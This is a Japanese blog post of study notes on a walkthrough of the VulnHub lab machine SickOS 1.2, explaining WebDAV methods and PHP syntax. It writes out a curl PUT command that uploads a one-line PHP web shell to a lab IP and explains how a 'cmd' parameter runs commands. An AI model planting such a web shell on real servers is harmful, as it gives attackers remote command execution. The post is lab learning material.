SickOS 1.2 webDAVとPHPによるweb shell実行

今回はVulnHubのSickOS 1.2について、内容を写経しようと思います

参考文献は以下

qiita.com

 

今回のキーとなるものの一つに、webDAVがあるようです

 

webDAV

webDAVはWeb-based Distributed Authoring and Versioningの略である

webサーバ上のファイル管理を目的とした分散プロトコルらしい

参考:https://ja.wikipedia.org/wiki/WebDAV

 

FTPやSCPに頼らず、ファイルのアップロードや更新などが行える

あっそれあかんやつやん。。。

 

 

webDAVのメソッドとして、以下がある

PROPFIND:指定したURIが示す資源の属性を取得する 具体的には、要求する属性をクライアントがWebサーバに送信すると、サーバはそれに対応した属性値を返す また、その資源の属性全てを取得することも出来る

PROPPATCH:指定したURIが示す資源の属性の設定や削除を行う

MKCOL:指定したURIの場所に新たな資源を作成する

COPY:指定したURIが示す資源およびその属性値を別のURIにコピーする

MOVE:指定したURIが示す資源およびその属性値を別のURIに移動する

LOCK:指定したURIが示す資源のファイルロックを設定する 共有ロック排他ロックの二種類が利用できる

UNLOCK:指定したURIが示す資源のロックを解除する

 

なので、逆にここらへんのメソッドを見つけたらwebDAVを連想する必要がある

 

 

今回のケースでは、curl --head -X OPTIONS http://172.16.208.163/test/をサーバに送信することで、使用できるメソッドの一覧が取得でき、webDAVが利用可能なことがわかる

ここにweb shellのphpを仕込むんですね・・・

用意されているcurl文は以下になります

curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://172.16.208.163/test/shell.php

-d以下の内容のファイルがPUTで作成される、と

 

 

PHPによるWEB SHELLについて

Walkthruoghでは、上記のようにサーバ上にweb shellとして動作するphpファイルをアップロードしています

正直phpのことあんまりわかってないので、構文について理解が乏しいです

参考文献をもとに、phpについて少し学んでみました

www.scollabo.com

phpは、<?php ~>で囲まれたものである

・形として、<?php 関数(引数);>といった形になっている

・変数、繰り返し、オブジェクト指向、、、もろもろできる(知らなかった。。。)

 

 

さらに別の文献

www.standpower.com

 

・$_POST["XXX"], $_GET["YYY"]

上記はスーパーグローバル関数と呼ばれ、それぞれのメソッドで特定の変数に紐づいた値を格納する

例)POSTで-d "XXX:xxx"とするとxxxが、GETで?YYY=yyyとするとyyyがそれぞれ得られる

今回は、system($_GET["cmd"])となっているので、

?cmd=ls などとすれば、$_GET["cmd"]がlsとなり、system関数でlsが呼ばれる、といった具合

参考:https://www.php.net/manual/ja/function.system.php

 

 

残りは次回!

 

 

以上。